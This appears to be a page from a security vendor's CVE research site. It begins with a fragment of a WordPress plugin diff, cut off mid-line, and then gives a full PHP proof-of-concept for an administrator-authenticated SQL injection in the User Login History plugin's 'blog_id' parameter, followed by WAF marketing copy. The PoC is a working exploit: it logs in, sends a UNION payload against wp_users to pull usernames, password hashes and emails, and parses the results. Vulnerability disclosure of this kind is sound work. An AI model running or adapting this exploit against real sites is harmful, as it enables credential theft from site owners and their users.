+				'em'     => array(),
+				'strong' => array(),
+			)
+		);
 	}

 	/**
@@ -265,36 +273,39 @@
 		$value = esc_attr( $this->get_option( $args['id'], $args['section'], $args['std'] ) );

 		$html  = '<fieldset>';
-		$html .= sprintf( '<label for="wpuf-%1$s[%2$s]">', esc_attr($args['section']), esc_attr($args['id']) );
-		$html .= sprintf( '<input type="hidden" name="%1$s[%2$s]" value="off" />', esc_attr($args['section']), esc_attr($args['id']) );
-		$html .= sprintf( '<input type="checkbox" class="checkbox" id="wpuf-%1$s[%2$s]" name="%1$s[%2$s]" value="on" %3$s />', esc_attr($args['section']), esc_attr($args['id']), esc_attr(checked( $value, 'on', false )) );
-		$html .= sprintf( '%1$s</label>', esc_html($args['desc']) );
+		$html .= sprintf( '<label for="wpuf-%1$s[%2$s]">', esc_attr( $args['section'] ), esc_attr( $args['id'] ) );
+		$html .= sprintf( '<input type="hidden" name="%1$s[%2$s]" value="off" />', esc_attr( $args['section'] ), esc_attr( $args['id'] ) );
+		$html .= sprintf( '<input type="checkbox" class="checkbox" id="wpuf-%1$s[%2$s]" name="%1$s[%2$s]" value="on" %3$s />', esc_attr( $args['section'] ), esc_attr( $args['id'] ), esc_attr( checked( $value, 'on', false ) ) );
+		$html .= sprintf( '%1$s</label>', esc_html( $args['desc'] ) );
 		$html .= '</fieldset>';
-		echo wp_kses($html, [
-			'fieldset' => [],
-			'label' => [
-				'for' => true
-			],
-			'input' => [
-				'type' => true,
-				'name' => true,
-				'value' => true,
-				'class' => true,
-				'id' => true,
-				'checked' => true
-			],
-			'br' => [],
-			'em' => [],
-			'strong' => [],
-			'span' => [
-				'class' => true
-			],
-			'a' => [
-				'href' => true,
-				'title' => true,
-				'target' => true
-			]
-		]);
+		echo wp_kses(
+			$html,
+			array(
+				'fieldset' => array(),
+				'label'    => array(
+					'for' => true,
+				),
+				'input'    => array(
+					'type'    => true,
+					'name'    => true,
+					'value'   => true,
+					'class'   => true,
+					'id'      => true,
+					'checked' => true,
+				),
+				'br'       => array(),
+				'em'       => array(),
+				'strong'   => array(),
+				'span'     => array(
+					'class' => true,
+				),
+				'a'        => array(
+					'href'   => true,
+					'title'  => true,
+					'target' => true,
+				),
+			)
+		);
 	}

 	/**
@@ -306,46 +317,49 @@

 		$value = $this->get_option( $args['id'], $args['section'], $args['std'] );
 		$html  = '<fieldset>';
-		$html .= sprintf( '<input type="hidden" name="%1$s[%2$s]" value="" />', esc_attr($args['section']), esc_attr($args['id']) );
+		$html .= sprintf( '<input type="hidden" name="%1$s[%2$s]" value="" />', esc_attr( $args['section'] ), esc_attr( $args['id'] ) );
 		foreach ( $args['options'] as $key => $label ) {
 			$checked = isset( $value[ $key ] ) ? $value[ $key ] : '0';
-			$html   .= sprintf( '<label for="wpuf-%1$s[%2$s][%3$s]">', esc_attr($args['section']), esc_attr($args['id']), esc_attr($key) );
-			$htm

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2283 - User Login History <= 2.1.7 - Authenticated (Administrator+) SQL Injection via 'blog_id' Parameter

/**
 * This PoC demonstrates a SQL injection vulnerability in the User Login History plugin.
 * It requires an authenticated administrator session and a WordPress multisite installation.
 * The target URL and administrator credentials must be configured below.
 */

// Configuration
$target_url = 'http://your-wordpress-multisite.com/wp-admin/'; // Target WordPress admin URL
$admin_username = 'admin'; // Administrator username
$admin_password = 'password'; // Administrator password

// Cookie jar for maintaining session
$cookie_file = tempnam(sys_get_temp_dir(), 'cookies');

/**
 * Function to perform a cURL request with cookie handling.
 */
function do_curl_request($url, $method = 'GET', $post_data = [], $cookie_file = null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    }

    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    return ['code' => $http_code, 'body' => $response];
}

// Step 1: Login as administrator
$login_form_url = $target_url . 'wp-login.php';
$login_data = [
    'log' => $admin_username,
    'pwd' => $admin_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . 'wp-admin/'
];

$login_response = do_curl_request($login_form_url, 'POST', $login_data, $cookie_file);
if ($login_response['code'] === 200) {
    echo "[+] Admin login successful.n";
} else {
    echo "[-] Admin login failed. HTTP code: " . $login_response['code'] . "n";
    exit(1);
}

// Step 2: Craft SQL injection payload for 'blog_id' parameter
// The vulnerable endpoint is the User Login History admin page.
// We use a UNION-based injection to extract user credentials.
$sql_payload = "1 UNION SELECT user_login, user_pass, user_email, user_url, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 FROM wp_users-- -";

// Step 3: Send the malicious request
$vulnerable_url = $target_url . 'admin.php?page=faulh_login_list&blog_id=' . urlencode($sql_payload);

$attack_response = do_curl_request($vulnerable_url, 'GET', [], $cookie_file);

// Step 4: Check for the extracted data in the response
// The extracted usernames and password hashes should appear in the table output.
if (preg_match_all('/<td class="username column-username">(.*?)</td>/', $attack_response['body'], $matches)) {
    echo "[+] SQL injection successful! Extracted data:n";
    foreach ($matches[1] as $username) {
        echo "    Username: " . html_entity_decode($username) . "n";
    }
} else {
    echo "[-] SQL injection did not return expected data. Check if the site is vulnerable.n";
    echo "Response snippet:n" . substr($attack_response['body'], 0, 500) . "n";
}

// Step 5: Further extraction for password hashes
if (preg_match_all('/<td class="user_id column-user_id">(.*?)</td>.*?<td class="username column-username">(.*?)</td>.*?<td class="role column-role">(.*?)</td>/s', $attack_response['body'], $detail_matches, PREG_SET_ORDER)) {
    echo "[+] Extracted user details:n";
    foreach ($detail_matches as $match) {
        echo "    User ID: " . $match[1] . ", Username: " . $match[2] . ", Role: " . $match[3] . "n";
    }
}

// Clean up cookie file
unlink($cookie_file);

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.